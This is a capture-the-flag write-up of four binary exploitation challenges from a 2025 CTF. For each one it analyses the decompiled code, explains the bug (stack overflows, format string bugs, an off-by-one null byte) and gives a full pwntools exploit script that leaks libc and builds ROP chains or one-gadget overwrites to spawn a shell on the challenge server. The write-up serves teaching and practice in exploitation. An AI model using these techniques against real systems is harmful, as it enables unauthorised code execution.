# Binary Exploitation

| Name                              | Solves |
| --------------------------------- | ------ |
| Berbuka Dengan PIE :first\_place: | 9      |
| Perfect :first\_place:            | 5      |
| About You :first\_place:          | 2      |
| u-turn :first\_place:             | 1      |

## Berbuka Dengan PIE

### Description

> Author: **ilupii**
>
> Aku dan temanku bingung mau berbuka pake apa, tapi tiba tiba ada orang bagi bagi takjil kue pie
>
> Connect: nc playground.tcp1p.team 19001

### Initial Analysis

We are given files:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Berbuka Dengan PIE]
└──╼ $tree .
.
├── chall
├── docker-compose.yml
├── Dockerfile
└── flag.txt
```

We do basic security checks on the file:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Berbuka Dengan PIE]
└──╼ $pwn checksec chall
[*] '/home/mirai/ctf/TCP1P Ramadhan 2025/Berbuka Dengan PIE/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
```

### Code Analysis

We open the chall file in IDA:

{% code title="main()" overflow="wrap" %}

```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  while ( 1 )
  {
    menu();
    v3 = readint();
    if ( v3 == 4 )
    {
      puts("Bye bye!");
      exit(0);
    }
    if ( v3 > 4 )
    {
LABEL_14:
      puts("Pilihan tidak valid.");
    }
    else
    {
      switch ( v3 )
      {
        case 3:
          vuln();
          break;
        case 1:
          puts("emm enak tuuuu :)");
          puts("ak jg mw\n\n");
          break;
        case 2:
          puts("KUEEEEE PIEEEEEE KESUKAANKUUU");
          puts("KAMU JUGA MAU?");
          puts("BOLEH");
          puts("iniiiiiiiiii");
          puts("ketik 1 dulu kalau mau ehe");
          if ( (unsigned int)readint() == 1 )
            printf("oke okeeeyy ini pie nya untukmuu, %p\n", main);
          else
            puts("\naku marah banget");
          break;
        default:
          goto LABEL_14;
      }
    }
  }
}
```

{% endcode %}

```c
if ( (unsigned int)readint() == 1 )
            printf("oke okeeeyy ini pie nya untukmuu, %p\n", main);
          else
            puts("\naku marah banget");
```

In here, when we chose the option 2, it will print out the main() address function. Since our binary is PIE enabled, this defeats the PIE enabled protection.

There is also a bug in vuln() function:

```c
int vuln()
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("WOIII JANGAN MASUK SINIII");
  printf("btw, kue pie nya enak gaaakkk hihi : ");
  fgets(s, 100, stdin);
  return printf("%s\n\n", s);
}
```

An obvious buffer overflow, fgets is taking in 100 characters into buffer s\[32].

{% embed url="<https://owasp.org/www-community/vulnerabilities/Buffer_Overflow>" %}

Since there's is no win function, we will need to do ret2libc.

### Exploitation

This one is straightforward, we will just need to calculate the offset from the main() function to the base address. The problem is when we are trying to leak libc. There is no easy way to put a libc address into RDI register since there are no `pop rdi; ret;` gadgets.

But when we see on debugger, when returning from the vuln() function, the RDI registers is actually populated with `funlockfile` address. With this knowledge, we can just call puts, calculate the offset from `libc.sym['funlockfile']` to get the libc base address and then back to `vuln` to do a second buffer overflow.

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F2kKyo1J4i6ZIdEqGAEBq%2Fimage.png?alt=media&#x26;token=bfb5891e-b8fb-4b8e-864a-bc0b382b1bb2" alt=""><figcaption><p>Leaking libc</p></figcaption></figure>

With our leaked libc base address, now we can use the function inside of libc. We can call system("/bin/sh") to get a shell and read the flag.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'playground.tcp1p.team', 19001

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
breakrva 0x1246
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()
    rop = ROP(exe)
    
    io.sendline(b'2')
    io.sendline(b'1')
    io.recvuntil(b'0x')
    
    # Calculate the offset to the main function
    elf.address = int(io.recvline().strip(), 16) - elf.symbols['main']
    io.sendline(b'3')
    payload = b'A'*40
    payload += p64(elf.symbols['puts'])
    payload += p64(elf.symbols['vuln']) # Call vuln again to do a second overflow
    io.sendlineafter(b':', payload)
    
    io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA')
    io.recvn(8)

    # Calculate the offset to libc base
    libc.address = u64(io.recvline().strip().ljust(8, b'\x00')) - libc.symbols['funlockfile']
    log.info('Libc base: %#x' % libc.address)

    # Now we call system("/bin/sh")
    payload = b'A'*40
    rop = ROP(libc)
    rop.raw(rop.ret.address)
    rop.system(next(libc.search(b'/bin/sh\x00')))
    io.sendline(payload + rop.chain())

    io.interactive()

if __name__ == '__main__':
    exploit()
```

{% endcode %}

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FAUCpCY9sYLbBF5Z5F0L7%2Fimage.png?alt=media&#x26;token=7816404c-5e61-46b4-98fe-93e05d3ad802" alt=""><figcaption><p>Exploit ran against the remote server</p></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{kue\_pienyya\_en4kk4nn\_selamat\_berbuka}**
{% endhint %}

## Perfect

### Description

> Author: **ilupii**
>
> i have faith what i see, now i know i have met an angel in person and she looks perfect.... perfect kayak binarynya
>
> Connect: nc playground.tcp1p.team 4156

### Initial Analysis

We are given files:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Perfect]
└──╼ $tree .
.
├── chall
├── docker-compose.yml
├── Dockerfile
└── flag.txt

1 directory, 4 files
```

We do basic security checks on the file:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Perfect]
└──╼ $pwn checksec chall
[*] '/home/mirai/ctf/TCP1P Ramadhan 2025/Perfect/chall'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
```

### Code Analysis

There is a function called perfect():

{% code title="perfect()" overflow="wrap" lineNumbers="true" %}

```c
int perfect()
{
  char s[520]; // [rsp+0h] [rbp-210h] BYREF
  unsigned __int64 v2; // [rsp+208h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  fflush(_bss_start);
  puts("sebutkan di dunia ini apa yang 'Perfect' menurut kamu?");
  fgets(s, 512, stdin);
  printf(s);
  puts("apa alasan mengapa dia itu perfect ?");
  fgets(s, 512, stdin);
  printf(s);
  puts("\nnahh. 'i dont deserve this, she look perfect tonight:)");
  return fflush(_bss_start);
}
```

{% endcode %}

Though there are no buffer overflow, this function is vulnerable to format string vulnerability, on line 10 and 13. **With format string vulnerability, we can do arbitrary read and arbitrary write**. We are given two format string. So my instant thought is first to leak saved RIP of the current stack and also leak libc address, then on the second format string, we can write a [one gadget](https://github.com/david942j/one_gadget).

{% hint style="info" %}
I didn't realize there was a win function here lol
{% endhint %}

### Exploitation

We found that the stack address and libc address lives at offset `%1$p` and `%67$p` . We then calculate the stack address offset to current stack RIP and calculate libc base address.

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F4rThZ8yJdZToFos0lXkn%2Fimage.png?alt=media&#x26;token=8ad5d856-a435-481b-9cc7-97f03eadb9dc" alt=""><figcaption><p>We get that the offset from saved RIP to current leak is stack_leak + 0x8</p></figcaption></figure>

With these leaks in our hand, we can overwrite at any address using the second format string vulnerability. Thankfully, pwntools have the automation just to do that.

{% code overflow="wrap" %}

```python
one_gadgets = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
payload = fmtstr_payload(6, {rip: one_gadgets[0] + libc.address}, write_size='short')
```

{% endcode %}

Here i dumped one gadget using this tool:

{% embed url="<https://github.com/david942j/one_gadget>" %}

```shell
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Perfect]
└──╼ $one_gadget libc
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL || r10 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp

0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
```

When we send the payload, the return address will look like this:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F8Wpj1HCsFEGxICC7vxf0%2Fimage.png?alt=media&#x26;token=137766a4-bd62-4209-b75f-e951f8536de9" alt=""><figcaption><p>Our saved RIP is overwritten with a one gadget</p></figcaption></figure>

And we just continue execution and we will pop a shell.

```python
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'playground.tcp1p.team', 4156

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
breakrva 0x1326
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()
    
    payload = b'%1$p|%67$p'
    io.sendlineafter(b'?', payload)
    io.recvn(1)
    libc.address = int(io.recvn(14), 16) - libc.sym['_IO_2_1_stdin_'] - 131
    io.recvn(1)
    stack_leak = int(io.recvn(14), 16)
    rip = stack_leak + 0x8
    one_gadgets = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
    payload = fmtstr_payload(6, {rip: one_gadgets[0] + libc.address}, write_size='short')
    io.sendlineafter(b'?', payload)
    io.recvuntil(b"tonight:)\n")
    info(f'libc: {hex(libc.address)}')
    info(f'stack: {hex(stack_leak)}')
    info(f'rip: {hex(rip)}')
    
    io.interactive()
    
if __name__ == '__main__':
    exploit()
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FmD40b4CBOrqaCjcVHWd0%2Fimage.png?alt=media&#x26;token=5ebd4941-e2f1-4006-ac3f-3d7f7eaf3d06" alt=""><figcaption><p>Exploit being ran against the remote server</p></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{Ch1ll\_br0\_jusT\_a\_ret2win\_w1th\_f0rmat\_string}**
{% endhint %}

## About You

### Description

> Author: **ilupii**
>
> Do you think I have forgotten?
>
> Connection: nc playground.tcp1p.team 19121

### Initial Analysis

We are given files:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/About You]
└──╼ $tree .
.
├── chall
├── docker-compose.yml
├── Dockerfile
├── flag.txt
└── libc.so.6

1 directory, 5 files
```

We do basic security check:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/About You]
└──╼ $pwn checksec chall
[*] '/home/mirai/ctf/TCP1P Ramadhan 2025/About You/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
```

Tried to run it:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FbrsqntvDT7WsINIIZ8P9%2Fimage.png?alt=media&#x26;token=81af400c-ef74-4264-9424-c46af82f92ab" alt=""><figcaption></figcaption></figure>

### Code Analysis

There are several functions:

{% code title="main()" overflow="wrap" %}

```c
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  puts("Mau tinggalkan pesan untuk seseorang gak????????");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        printf("> ");
        v3 = readint();
        if ( v3 == 4 )
        {
          puts("bye");
          exit(0);
        }
        if ( v3 <= 4 )
          break;
LABEL_13:
        puts("pilih yg bener dong");
      }
      if ( v3 != 3 )
        break;
LABEL_11:
      puts("dalam perbaikan!!!");
    }
    if ( v3 > 3 )
      goto LABEL_13;
    if ( v3 != 1 )
    {
      if ( v3 != 2 )
        goto LABEL_13;
      siapa();
      goto LABEL_11;
    }
    mw();
  }
}
```

{% endcode %}

Here we see that there is a function called `siapa()` and `mw()` .

{% code title="siapa()" overflow="wrap" lineNumbers="true" %}

```c
unsigned __int64 siapa()
{
  char rand; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  rand = get_rand();
  printf("> ");
  fgets(s, 100, stdin);
  xor_encrypt(s, (unsigned int)rand);
  printf("hai : ");
  printf(s);
  putchar(10);
  return v3 - __readfsqword(0x28u);
}
```

{% endcode %}

We can see that there's a format string vulnerability at line 13. But first we need to see the get\_rand() function first:

{% code title="get\_rand()" overflow="wrap" %}

```c
__int64 get_rand()
{
  int v0; // eax
  unsigned int seed; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  srand(seed);
  v0 = rand();
  return (unsigned __int8)(((unsigned int)(v0 >> 31) >> 24) + v0) - ((unsigned int)(v0 >> 31) >> 24);
}
```

{% endcode %}

This code essentially sets up a seed using the current time, then generate a random number, then essentially taking only the lowest 8 bits of the rand() value. Equivalent with `v0 & 0xff`

Then there is xor\_encrypt(s, rand):

{% code title="xor\_encrypt(s, rand)" overflow="wrap" %}

```c
size_t __fastcall xor_encrypt(const char *a1, char a2)
{
  size_t i; // rax
  size_t v4; // [rsp+18h] [rbp-8h]

  v4 = 0LL;
  for ( i = strlen(a1); v4 < i; i = strlen(a1) )
    a1[v4++] ^= a2;
  return v4;
}
```

{% endcode %}

This function basically xor'ing every character in the string with the value from rand.

Knowing that:

$$
A \oplus B = C \\
and \\
A \oplus C = B \\
and \\
B \oplus C = A
$$

We can XOR our chosen payload with the rand on server, and in the server, it will XOR it again, making it decrypted and reflect our actual payload. But in this case we want to use the format string, so we chose our payload so that it can leak addresses and stack canaries.

Then we go to the mw() function:

{% code title="mw()" overflow="wrap" %}

```c
unsigned __int64 mw()
{
  char s[72]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v2; // [rsp+48h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("> ");
  fgets(s, 256, stdin);
  puts("oke");
  return v2 - __readfsqword(0x28u);
}
```

{% endcode %}

There's an obvious buffer overflow, fgets is taking 256 character into a buffer s\[72]

### Exploitation

So the idea is:

1. Leak addresses and canaries via format string, but first we need to XOR our payload with the random value
2. Do ret2libc

{% hint style="info" %}
It took some amount of tries, because of latency issue
{% endhint %}

```python
#!/usr/bin/env python3
from pwn import *
from ctypes import CDLL

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc'
libc = ELF(libc, checksec=False)
libr = CDLL("libc.so.6")
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'playground.tcp1p.team', 19121

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
'''.format(**locals())

def siapa(payload):
    payload = xor(payload,libr.rand() & 0xff)
    io.sendlineafter(b'>', b'2')
    io.sendlineafter(b'>', payload)
    
def mw(payload):
    io.sendlineafter(b'>', b'1')
    io.sendlineafter(b'>', payload)
    
# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()
    rop = ROP(exe)

    libr.srand(libr.time(0))
    siapa(b'%21$p|%27$p')
    response = io.recvline().strip()
    
    if b'0x' not in response:
        error('nuh uh')
        return
    
    response = response[6:]
    canary = int(response.split(b'|')[0], 16)
    libc.address = int(response.split(b'|')[1][:14], 16) - 0x29d90

    rop = ROP(libc)
    rop.raw(p64(rop.ret.address) * 9)
    rop.raw(canary)
    rop.call(p64(rop.ret.address) * 2)
    rop.system(next(libc.search(b'/bin/sh\x00')))

    mw(rop.chain())
    
    log.info(f'canary: {hex(canary)}')
    log.info(f'libc: {hex(libc.address)}')

    io.interactive()
    
if __name__ == '__main__':
    exploit()
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FHaxnL217OWbVQIyB9k0f%2Fimage.png?alt=media&#x26;token=17806d10-fdba-46b0-aceb-6e947c8bd092" alt=""><figcaption><p>Exploit being ran against the remote server</p></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{ROP\_with\_leak\_printf\_it\_easy\_right????????????????}**
{% endhint %}

## u-turn

### Description

> Author: **nouxia**
>
> turn 360 degrees and walk away
>
> Connect: nc playground.tcp1p.team 33132

### Initial Analysis

We are given files:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/u-turn]
└──╼ $tree .
.
├── chall
├── ld-linux-x86-64.so.2
└── libc.so.6

1 directory, 3 files
```

We do basic security checks:

```shell
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/u-turn]
└──╼ $pwn checksec chall
[*] '/home/mirai/ctf/TCP1P Ramadhan 2025/u-turn/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```

### Code Analysis

There's a single function called vuln():

```c
int vuln()
{
  _BYTE v1[256]; // [rsp+0h] [rbp-100h] BYREF

  printf("Good luck!\n>> ");
  __isoc99_scanf("%256s", v1);
  return printf("Goodbye!\n");
}
```

At first glance, this code didn't seem vulnerable to anything. But knowing that <mark style="color:red;">**scanf appends null byte at the end of input.**</mark> This code is instantly vulnerable to an off-by-one null byte overflow.

{% embed url="<https://en.cppreference.com/w/c/io/fscanf>" %}

{% embed url="<https://cwe.mitre.org/data/definitions/193.html>" %}

### Exploitation

#### Finding the Offset

At first, i tried to fuzz this to find the offset where i start to overflow the buffer.

```python
payload = cyclic(0x100, n=8)
io.sendlineafter(b'>> ', payload)
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FWvKHgruUfbn1ARapN7Av%2Fimage.png?alt=media&#x26;token=cf41414c-cf93-4175-a8c4-d93142e2fd7d" alt=""><figcaption><p>Fuzz 1</p></figcaption></figure>

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FRlpzlJhVoBVCKjC9K5mb%2Fimage.png?alt=media&#x26;token=db716e05-ea21-4b2a-9319-0d9830d5b203" alt=""><figcaption><p>Fuzz 2</p></figcaption></figure>

The offsets when we overwrite RIP is always different.

At this point, i am clueless, so i tried asking my friend [Hygge](https://github.com/HyggeHalcyon), he said "why not just use ret slep", so i did just that.

With that knowledge in mind, i changed my payload to this:

```python
payload = p64(rop.ret.address) * 31
payload += b'A'*8
io.sendlineafter(b'>> ', payload)
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FgG9HKKfoRCukRH7l9yQS%2Fimage.png?alt=media&#x26;token=2ebf26d8-fe1a-4977-ba93-6ab632e5fb9f" alt=""><figcaption><p>We got consistency!</p></figcaption></figure>

#### Leaking libc

To leak libc, we can take a look the register state before it returns from vuln:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FbjlFxx6Ecqw0W0uMTgvd%2Fimage.png?alt=media&#x26;token=a0fd20d8-83ca-4d7b-9f51-efa76bee1708" alt=""><figcaption></figcaption></figure>

RDI points to `libc.sym['funlockfile']` address, now we already have libc address in RDI, we will just need to call `printf` to get the leak.

#### Getting back to vuln

We will try to go back to vuln to get a second overflow. But, when we try to go back to vuln like this:

```python
payload = p64(rop.ret.address) * 30 + p64(elf.plt['printf']) + p64(elf.sym['vuln'])
io.sendlineafter(b'>> ', payload)
```

We are greeted with this error:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FjHtEwwzVxTgb6uEM9WI3%2Fimage.png?alt=media&#x26;token=5063dc7f-4867-4729-a386-88e23472d51a" alt=""><figcaption><p>RSP not aligned to 16 bytes</p></figcaption></figure>

To counter this error, we can do a technique called `ret2start`. This will restart the binary. Restoring the stack state just like when we first executed the binary.

```python
payload = p64(rop.ret.address) * 30 + p64(elf.plt['printf']) + p64(elf.sym['_start'])
io.sendlineafter(b'>> ', payload)
```

Now we do the same thing with the second overflow, but with the target execve("/bin/sh", 0, 0) because system("/bin/sh") always throws an error:

```python
libc.address = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['funlockfile']
rop = ROP(libc)
rop.raw(p64(rop.ret.address) * 23)
rop(rdi=next(libc.search(b'/bin/sh\x00')), rsi=0, rdx=0, rax=0x3b)
rop.call(rop.find_gadget(['syscall', 'ret'])[0])
io.sendlineafter(b'>> ', rop.chain())
```

We try to exploit this against the remote server we will got the flag:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FeEErTP2Y3kOmHiodhVv3%2Fimage.png?alt=media&#x26;token=8218d958-fa5e-4868-8f4d-27ebfc3b96b4" alt=""><figcaption><p>Exploit being ran against the remote server</p></figcaption></figure>

{% code title="solve.py" overflow="wrap" %}

```python
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chall_patched'
elf = context.binary = ELF(exe, checksec=True)
libc = './libc'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h", "-p", "65"]
host, port = 'playground.tcp1p.team', 33132

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg
# break *vuln
# break *vuln+72
break *0x00000000004011cc
# break *0x4011b2
break *vuln
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()
    rop = ROP(exe)

    payload = p64(rop.ret.address) * 30 + p64(elf.plt['printf']) + p64(elf.sym['_start'])
    io.sendlineafter(b'>> ', payload)
    io.recvline()

    libc.address = u64(io.recv(6).ljust(8, b'\0')) - libc.sym['funlockfile']
    rop = ROP(libc)
    rop.raw(p64(rop.ret.address) * 23)
    rop(rdi=next(libc.search(b'/bin/sh\x00')), rsi=0, rdx=0, rax=0x3b)
    rop.call(rop.find_gadget(['syscall', 'ret'])[0])
    io.sendlineafter(b'>> ', rop.chain())

    success(f'libc @ {hex(libc.address)}')
    io.interactive()

if __name__ == '__main__':
    exploit()
```

{% endcode %}

{% hint style="success" %}
Flag: **RAMADAN{RbP\_nUlL\_By73\_574cK\_P1V07}**
{% endhint %}
